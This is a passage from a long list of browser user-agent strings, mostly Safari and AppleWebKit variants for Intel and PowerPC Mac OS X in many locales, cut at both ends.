10_6_6; sv-se) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/521.32.1 (KHTML, like Gecko) Safari/521.32.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.9+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/419.2.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-es) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-IT) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ko-kr) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS; en-en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; pl-pl) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 iPhone -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fi-fi) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; nl-nl) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_1; en_GB, en_US) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ca-es) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-CH) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/85 (KHTML, like Gecko) Safari/85 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/100 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.5.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.3.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.3+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-au) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-ca) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/124 (KHTML, like Gecko) Safari/125 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_US) AppleWebKit/412 (KHTML, like Gecko) Safari/412 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/523.6 (KHTML, like Gecko) Version/3.0.3 Safari/523.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.6 -Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 -Mozilla/5.0 